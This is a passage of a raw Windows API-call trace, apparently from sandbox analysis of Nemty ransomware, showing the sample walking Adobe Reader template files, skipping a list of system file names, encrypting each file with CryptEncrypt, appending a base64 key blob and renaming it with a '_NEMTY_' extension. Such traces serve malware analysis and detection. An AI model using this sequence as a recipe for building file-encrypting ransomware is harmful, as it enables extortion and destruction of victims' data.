(lpString1="AdobeID.pdf", lpString2="NTDETECT.COM") returned -1 [0171.768] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="ntldr") returned -1 [0171.768] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="MSDOS.SYS") returned -1 [0171.768] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="IO.SYS") returned -1 [0171.768] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="boot.ini") returned -1 [0171.769] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="boot.ini") returned -1 [0171.769] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="AUTOEXEC.BAT") returned -1 [0171.769] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="ntuser.dat") returned -1 [0171.769] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="desktop.ini") returned -1 [0171.769] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="CONFIG.SYS") returned -1 [0171.769] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="RECYCLER") returned -1 [0171.769] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="BOOTSECT.BAK") returned -1 [0171.769] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="bootmgr") returned -1 [0171.769] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="programdata") returned -1 [0171.769] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="appdata") returned -1 [0171.769] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0171.769] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeID.pdf", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0171.769] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeID.pdf", cchWideChar=11, lpMultiByteStr=0x653e890, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdobeID.pdf", lpUsedDefaultChar=0x0) returned 11 [0171.769] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0171.769] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeID.pdf", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0171.769] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeID.pdf", cchWideChar=11, lpMultiByteStr=0x653e890, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdobeID.pdf", lpUsedDefaultChar=0x0) returned 11 [0171.769] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0171.769] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0171.769] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0171.769] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeID.pdf", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0171.769] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeID.pdf", cchWideChar=11, lpMultiByteStr=0x653e8e0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdobeID.pdf", lpUsedDefaultChar=0x0) returned 11 [0171.769] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0171.776] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0171.776] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeID.pdf", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0171.776] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeID.pdf", cchWideChar=11, lpMultiByteStr=0x653e918, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdobeID.pdf", lpUsedDefaultChar=0x0) returned 11 [0171.776] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0171.776] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0171.776] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0171.776] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63400f0 [0171.776] Sleep (dwMilliseconds=0x5) [0171.785] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1a09ea30, dwHighDateTime=0x1d561e8)) [0171.785] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1a09ea30, dwHighDateTime=0x1d561e8)) [0171.785] GetLastError () returned 0xb7 [0171.785] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0171.785] GetLastError () returned 0xb7 [0171.785] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0171.785] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0171.785] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0171.785] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0171.785] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0171.785] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0171.785] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340198 [0171.785] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340198, pcchString=0x653e5dc | out: pszString="yIqio3sE0TLyB3GZ97weXGH0DzBMx1BB0CWz33UuPZifsp/EU4tNgohqcnasit8M\r\noLU0BWor1aEs8vwegPVamcURYuOiB1BSbyeiasK84yaMqYsOkkOBzbUjliF4n1vQ\r\ndwOX7qPWRCf97B9Fnk6r/ZpYRn1sKSskF/8Y8a3L26H/q6jDvTWzjugn51WI3hIe\r\n9gnAfSpJNVxEVmPprWrmFAwqEHU+Zp8iLJgmnwLrnUOFDWZ9yJDexzMru3rR7N1z\r\neEb1fochk59JbReCz1yXshCrTH9PPwZFR1bBRW7wXSZfkOd2hjsONmnjmdFNBuCF\r\n3odU2W721CEozIDC/fgrzA==\r\n", pcchString=0x653e5dc) returned 1 [0171.785] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0171.785] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340198 | out: hHeap=0x4f90000) returned 1 [0171.785] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0171.785] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0171.785] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340198 [0171.786] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0171.786] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\KOR\\AdobeID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\kor\\adobeid.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3b0 [0171.786] GetFileSizeEx (in: hFile=0x3b0, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=22826) returned 1 [0171.786] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x5920) returned 0x6352c48 [0171.786] SetFilePointer (in: hFile=0x3b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0171.786] ReadFile (in: hFile=0x3b0, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x5920, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x5920, lpOverlapped=0x0) returned 1 [0171.789] SetFilePointer (in: hFile=0x3b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0171.789] WriteFile (in: hFile=0x3b0, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x5920, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x5920, lpOverlapped=0x0) returned 1 [0171.789] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0171.789] SetFilePointer (in: hFile=0x3b0, lDistanceToMove=22826, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x592a [0171.789] WriteFile (in: hFile=0x3b0, lpBuffer=0x6340198*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6340198*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0171.789] CloseHandle (hObject=0x3b0) returned 1 [0171.789] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0171.789] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0171.789] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0171.789] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0171.789] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0171.789] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0171.789] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63403b0 [0171.789] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6340458 [0171.789] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0171.789] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0171.789] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\KOR\\AdobeID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\kor\\adobeid.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\KOR\\AdobeID.pdf._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\kor\\adobeid.pdf._nemty_kgobjgd_")) returned 1 [0171.791] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340458 | out: hHeap=0x4f90000) returned 1 [0171.791] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0171.791] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0171.791] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340198 | out: hHeap=0x4f90000) returned 1 [0171.791] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0171.791] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0171.791] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0171.791] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0171.791] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x805da3e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x5416, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="DefaultID.pdf", cAlternateFileName="DEFAUL~1.PDF")) returned 1 [0171.791] lstrcmpiW (lpString1="DefaultID.pdf", lpString2=".") returned 1 [0171.791] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="..") returned 1 [0171.791] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="...") returned 1 [0171.791] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="windows") returned -1 [0171.791] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="$RECYCLE.BIN") returned 1 [0171.792] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="rsa") returned -1 [0171.792] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="NTDETECT.COM") returned -1 [0171.792] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="ntldr") returned -1 [0171.792] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="MSDOS.SYS") returned -1 [0171.792] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="IO.SYS") returned -1 [0171.792] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="boot.ini") returned 1 [0171.792] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="boot.ini") returned 1 [0171.792] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="AUTOEXEC.BAT") returned 1 [0171.792] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="ntuser.dat") returned -1 [0171.792] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="desktop.ini") returned -1 [0171.792] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="CONFIG.SYS") returned 1 [0171.792] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="RECYCLER") returned -1 [0171.792] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="BOOTSECT.BAK") returned 1 [0171.792] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="bootmgr") returned 1 [0171.792] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="programdata") returned -1 [0171.792] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="appdata") returned 1 [0171.792] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0171.792] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DefaultID.pdf", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0171.792] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DefaultID.pdf", cchWideChar=13, lpMultiByteStr=0x653e890, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DefaultID.pdf", lpUsedDefaultChar=0x0) returned 13 [0171.792] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0171.792] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DefaultID.pdf", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0171.792] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DefaultID.pdf", cchWideChar=13, lpMultiByteStr=0x653e890, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DefaultID.pdf", lpUsedDefaultChar=0x0) returned 13 [0171.792] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0171.792] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0171.792] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0171.792] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DefaultID.pdf", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0171.792] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DefaultID.pdf", cchWideChar=13, lpMultiByteStr=0x653e8e0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DefaultID.pdf", lpUsedDefaultChar=0x0) returned 13 [0171.792] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0171.792] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0171.792] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DefaultID.pdf", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0171.792] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DefaultID.pdf", cchWideChar=13, lpMultiByteStr=0x653e918, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DefaultID.pdf", lpUsedDefaultChar=0x0) returned 13 [0171.792] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0171.792] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63400f0 [0171.792] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0171.792] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0171.793] Sleep (dwMilliseconds=0x5) [0171.800] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1a0c4b90, dwHighDateTime=0x1d561e8)) [0171.800] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1a0c4b90, dwHighDateTime=0x1d561e8)) [0171.801] GetLastError () returned 0x0 [0171.801] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0171.801] GetLastError () returned 0x0 [0171.801] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0171.801] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0171.801] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0171.801] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0171.801] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0171.801] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0171.801] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340198 [0171.801] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340198, pcchString=0x653e5dc | out: pszString="Y5/1rda/zRkpUuX69LAXTeoJwIo2HNKs/BYWifZq3xGH1crq+qy4dXyS0FxaXsKF\r\nG2Ri8rcaqDWG+tpxVwAeIiBoTiTJXSazWTcc45kKFVTOSR7SMC8+zGQBxcU/ghmu\r\nYYvDyImOVP4MtrtkaCSALT2FOFyWU3R5ywHYH3FHHbs30Gxk6vVuhkRpoj8a1lI+\r\niWruO30dze0jaDtyVq9mzsFMLScmq9fP/qa8ZlSqdWPScPTzT14omKIxaqG+iFLi\r\nELtNHIDzyGfkwnmDcbJQ6DtpD34pC/D68VVmuHCm8R7SDblpTa6L+ycHmgHJv98M\r\nTVDW4YsFr+JqCMi8KnlVgA==\r\n", pcchString=0x653e5dc) returned 1 [0171.801] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0171.801] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340198 | out: hHeap=0x4f90000) returned 1 [0171.801] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0171.801] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0171.801] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340198 [0171.801] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0171.801] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\KOR\\DefaultID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\kor\\defaultid.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3b0 [0171.801] GetFileSizeEx (in: hFile=0x3b0, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=21526) returned 1 [0171.801] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x5410) returned 0x6352c48 [0171.801] SetFilePointer (in: hFile=0x3b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0171.802] ReadFile (in: hFile=0x3b0, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x5410, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x5410, lpOverlapped=0x0) returned 1 [0171.804] SetFilePointer (in: hFile=0x3b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0171.804] WriteFile (in: hFile=0x3b0, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x5410, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x5410, lpOverlapped=0x0) returned 1 [0171.804] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0171.804] SetFilePointer (in: hFile=0x3b0, lDistanceToMove=21526, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5416 [0171.804] WriteFile (in: hFile=0x3b0, lpBuffer=0x6340198*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6340198*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0171.805] CloseHandle (hObject=0x3b0) returned 1 [0171.805] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0171.805] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0171.805] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0171.805] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0171.805] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0171.805] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0171.805] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63403b0 [0171.805] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6340458 [0171.805] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0171.805] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0171.805] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\KOR\\DefaultID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\kor\\defaultid.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\KOR\\DefaultID.pdf._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\kor\\defaultid.pdf._nemty_kgobjgd_")) returned 1 [0171.805] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340458 | out: hHeap=0x4f90000) returned 1 [0171.805] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0171.805] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0171.805] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340198 | out: hHeap=0x4f90000) returned 1 [0171.805] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0171.805] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0171.805] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0171.805] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: 